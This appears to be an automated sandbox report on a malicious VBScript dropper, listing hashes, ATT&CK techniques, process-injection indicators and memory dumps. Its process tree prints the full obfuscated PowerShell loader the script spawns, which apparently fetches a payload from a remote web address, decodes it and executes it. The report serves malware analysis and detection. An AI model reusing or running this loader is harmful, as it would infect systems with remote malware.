5dcfac410a8ac5371ec25cbf19002209f1d52c7429ea992e2efd965ff55d4fa9

Resubmissions

23-02-2024 03:45

240223-ea6qpsaf9t 10

23-02-2024 02:03

240223-cg4htahg5x 10

Analysis

max time kernel
88s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
23-02-2024 03:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e4499912964280ec3adc3131a12d5415a577bcd29d7259a38e928ba87ad6c03a.vbs
Size

25KB
MD5

1551bbfea2c142e2bd5ecd100015a9e4
SHA1

bfb829ed539f0a34d80ef70d13a82163b6823075
SHA256

e4499912964280ec3adc3131a12d5415a577bcd29d7259a38e928ba87ad6c03a
SHA512

e5cd1e9365d2555de804268dab3b38aed02bbe2a767a43a2712cecbc9e25e7cd3fcd7c7fdd71759f446da93c2d61bdfcbd295f71950f9916ff6befd64b11440d
SSDEEP

384:MviwoXl26mMYhPD5nvjaO8b/29/Bk+TZdR5X8nMPoa/pDF63NXEltOp:twonmBhPNraOo/29/N7nX+ioA63ubw

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4424 powershell.exe
4424 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4424 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
4424	powershell.exe
4424	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4424	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2192 wrote to memory of 4424	2192	WScript.exe	powershell.exe
PID 2192 wrote to memory of 4424	2192	WScript.exe	powershell.exe
PID 4424 wrote to memory of 3280	4424	powershell.exe	cmd.exe
PID 4424 wrote to memory of 3280	4424	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e4499912964280ec3adc3131a12d5415a577bcd29d7259a38e928ba87ad6c03a.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Trismegistic Kiddishness Bahoe #>;$Elisionerne=(cmd /c set /A 115^^0);Function antignostic ([String]$Pedotrophy){$Elisionerne=[char][int]$Elisionerne;$Stolist=$Elisionerne+'ubstring';$Overlbet=8;$Scalfenformationsnetvrket=Banderolerer4($Pedotrophy);For($Scalfe=7; $Scalfe -lt $Scalfenformationsnetvrket; $Scalfe+=$Overlbet){$Tuckets174=$Pedotrophy.$Stolist.Invoke($Scalfe, 1);$Banderolerer=$Banderolerer+$Tuckets174;}$Banderolerer;}function heliography ($Retransmute){. ($Banderolerer01) ($Retransmute);}function Banderolerer4 ([String]$Rygmarvsprvers){$Jerez1=$Rygmarvsprvers.Length-1;$Jerez1;}$Banderolerer02=antignostic 'IschiacT MurbrkrHastvrkaSjufternachromasStyringfNonnatieStabilirBespousr Atrophi LovprinKoppersg Konjun ';$Freskoens49=antignostic 'FjerpenhUroceratTerpinmtSubmittpArbejdss Confar:Elmenub/Cellulo/YttrifebFlusjeri deutere SkjoldcUnthickrFuruncue artocaaStorslatLacunari ContacvKoreaneeFestkld. UnobjecLichtinoVesiculm anslog.AvlsminaWawsreguPantolo/Emissiod HageskfHeliums/InformaOlatterluScintlet FinancsBasaltumIndlsniiEtwasinlFormynde HomocodUnarres.Teleodop TandlsrSpuedkox Starkn ';$Banderolerer01=antignostic 'HerreekiKoketteeEnkeltsxUndiver ';$Banderolerer00=antignostic 'Tilrani$udskreng StereolNonwarroOrcanetb Geocena SemidalRehabil: RhodomJSkinneceDrmmersrNoctogreNephropzAnfrels8Trackle Greenfl=Leafsta BlomsteSPlummett Uncongahorrormr SkattetExtubat- SmotheBPopularifngselst SpringsautopsyTPlugboarNonteleaOuthirinOversprsTylvtunf SiameseGlycaemrShannyl Dngrada-BibliotSCustomioManicuruunconstrParadercVelareneinitial Chamois$SprogbrFPsiloisr UnsepaeSchematsAareladk soigncoEvaporaeDreamlinIndgaaes Dandye4Hydroxy9Suturen Indtast- BerycoD BehandeBabbledsSagerkltsansculi KnejpenGodkendaAntiseptKostbariMatrikeoMilfoilnTuscula alterat$geologeJCerebeleunhazarrTematikeDemilawzEposeti2Devalua ';heliography (antignostic 'Tilbygn$FstnerlgHaandgrlTaxiflyoErhvervbGropingaTingfstlFordici:enkelthJInternae CarriarUnreiteeadelskrzBankful2Unation=Eristic$ WaisteeFunctionStbeskev Samleo:CiruelaaHemelytpNoblifypRdvioledKlerenra HeadshtTrenchlaFemling ') ;heliography (antignostic 'SarsaviISelverhmRubedinpGennempoFissionrDeponert Finerp- SkatteMDiskvaloDiakonsd RendejuKondensl KalkuleCopulat RenograBExhaustiDuessattEndosmosUdfyldnTSpankulrKorrumpaIndebtenTankfulsminiforfquiverleDekanteruninfer ') ;$Jerez2=$Jerez2+'\Nontalented211.Hal' ;heliography (antignostic ' Modbev$UdlednigBrilleflClanlesoBehearkbEurostraGaltenslFawnede:BilggerJProbatieprofbokrhloftereSnekderzKlapred7 Stolea=Excreta(ArrestfTZonureteTaurangsTotalfet Graadi-HjlpemeP Misanta Unputat SucroshHjttale Skosenm$ PellekJTraadheeTonekunrRectangeoocystizbagsder2Gidesas)Kinswom ') ;while (-not $Jerez7) {heliography (antignostic 'SnevejrITincalmfHungers Pachan(Elberet$reciproJWeathereSkarprerSlaasspeSammenszCrewerf8Flyblew.EqualedJ TimetaoNdretspbAfbalanSSkraldetForpuppaTrothpltJdekageeTuscher staalhj-XerophteUrnmakeq Feltnu Dombogs$RhataniB SaiminaMennesknTretrindTriodoneMadrilrrScratchoUdbasunlUnderteeRegearerCologneestempelrSnestor0Pavisad2Makkers)Totemme submerg{CounterSSamensut ZiegadakonsumfrGodsetstWaferli-bakkekaSPartsanlIndstifeGeniusee SkjoldpRapsfrr Noninte1 righol}PrealloeUnbunchlPeterkis vendave Ainuco{StnnedeSEggplantconformaDisencorStatsmitCloddin-LsgngerSUndramalBistikkeUniverse StatompBenedic Claveli1Vennern;UnreplehDdedanseReascenlUmindeliMetrifio klikkegCentrifrAartusia GrdhovpSnapsflh HulkoryCornric Rydning$PlsefabBForhaanaTriangunSecundidIndulgeeRinosper IndvejoReassurlHjemsteecircumsrWhirligeSkurenorNonanal0Deuniti0Fiskebl} Hebrer ');heliography (antignostic 'burdene$ agrarpg kolosslDvrghneoBedriftbStoraxeaAnemosclbaggrun:JeweddaJPinsebeePensumbrNysselieLandbruzPseudoz7 Armage=Carboxy(BankfulT UplifteUnapplisNarcotit Udmanv-AgriasuPEnkimbla PincettHemadmah Collar Pattyp$ DecompJForholdeNosebanrProratie TredobzVirksom2 Seerst)Philobo ') ;}heliography (antignostic 'Gimblet$SubmuscgMarginslBestreno DissolbTenorfla TimesllMolecul:TombolaBKaresserStewardn UnrecoeDorsodylanticycoUnbeingkDukkestk UnmeteeAnstrgnrTaagngeeCliakiis Hovedp Frushen=Pretens SteelyaGRetsinaeAtriumet Overne- ManufaCTrassrzoInhumannirrepartGensmaneDrjhedenRydderbtStolema Fragtr$AngmagsJPrepayieMercaptrWrastleehypotekz Wooshe2Brandgu ');heliography (antignostic 'vampyrs$IncessagBiersanlBaalfrdo Flyverb SrprgeaAnvistcl opspar:BetingeVBlackspafinansln ForstldTachytea HumorrlSupermoiTenaculsTerminaeArousefdStemmeu hypnoth= Bertha Disintr[BornholSSpirlinyPersonasBankgartGeneraleStiftelmUrochlo.SmilersCLibkinboIlsommennonadopvJarldmmeTvedelirHadjesctAnaesth]Tatties:Polilla:BiotekfFWasherirNephropoUnderesmunflexiBMuezzina SkoetnsOverskre Opreth6Syltetj4 ShuttaSModerattSulsunpr Bortsli Fejelinbloodrigheapsre(Costost$bebossuBIndissorSalomonnBeskylleAircondl Kontrao ApachekValghankLatentieEndymakrObjectieKorresps unvess) Tyrole ');heliography (antignostic 'Ranunkl$FeltteggBlokkallAcidifioUnnutrib PleuraaGuisinglTorulae:citizenBSmrrebraMonobronDiktatudInterjeeCollectrRewidenoNegativlLiquidleAflggerrBrnehaveDibatagrYarurod2 Genera Cumulus=Porsite Unsetud[ GasmotS MandolyGenskresPilhenvtKillcaleFulldopmFutterl. TeratoT KvintaeEngelssx UngenttGreenhi. UlotriEStjfiltnUnflighcExceptioHavanesdAnordniiTiloforn ProvocgRoadwor] Viltre:Gastrog:UmanmarA ChanteSMiddagsCLovgiveIUsurpatI Misemp.BendiksG Liguste ParrittClinomeSbolideptPteridirretsikkiHydroxan paprofgUbestik(Mokkafa$ DigesmVmarmelaaPentatentraktred lseprvaUnsurfalCemetari Enantisbyfornye carnivd Fuldfo)Isotrop ');heliography (antignostic 'Retreat$Mentoreg ForbrulOvermodo KriminbVivetteaTamisnvl Tonici:GasoholBRakesteaShreeslnFlyvevad HjlpeleAmmunitrAnmeldeoIssedonlPycniteeAdenomyrnkdrvogeColletsrfavored3Hidsigb=Uhmmetd$SertrinB AlfabeaFyldninnTininesdParamase extensr Friblao PerifelPayyetaeSaldienr MichaeePeritrorRottegi2Unsoldi.SocialbsMajdagsu OrdbilbHollandsLbegangtUdmelderHonorarifinialsnGalactogJumelle(Luneful3Krealiz2Mairsfl6 Absces8Troublo7Sarcopl7 Samkve,Quercif3Untempo2Sparekn3Mesters5Buckele1Marguer)Retarda ');heliography $Banderolerer3;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:3280

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1p41h1d.t4p.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4424-14-0x0000027C7BDC0000-0x0000027C7BDD4000-memory.dmp

Filesize
80KB

Download
memory/4424-10-0x00007FFC5E110000-0x00007FFC5EBD1000-memory.dmp

Filesize
10.8MB

Download
memory/4424-12-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-11-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-13-0x0000027C79B90000-0x0000027C79BB6000-memory.dmp

Filesize
152KB

Download
memory/4424-6-0x0000027C79B30000-0x0000027C79B52000-memory.dmp

Filesize
136KB

Download
memory/4424-15-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-16-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-17-0x00007FFC5E110000-0x00007FFC5EBD1000-memory.dmp

Filesize
10.8MB

Download
memory/4424-18-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-19-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-20-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download
memory/4424-21-0x0000027C79BE0000-0x0000027C79BF0000-memory.dmp

Filesize
64KB

Download